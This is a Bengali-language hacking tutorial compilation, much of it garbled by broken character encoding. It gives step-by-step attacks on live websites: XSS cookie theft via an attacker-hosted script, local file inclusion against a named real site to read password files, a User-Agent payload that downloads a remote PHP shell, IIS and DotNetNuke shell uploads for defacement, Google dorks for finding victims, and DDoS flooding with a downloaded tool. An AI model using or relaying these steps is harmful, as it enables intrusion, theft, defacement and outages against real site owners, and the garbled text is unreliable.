তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

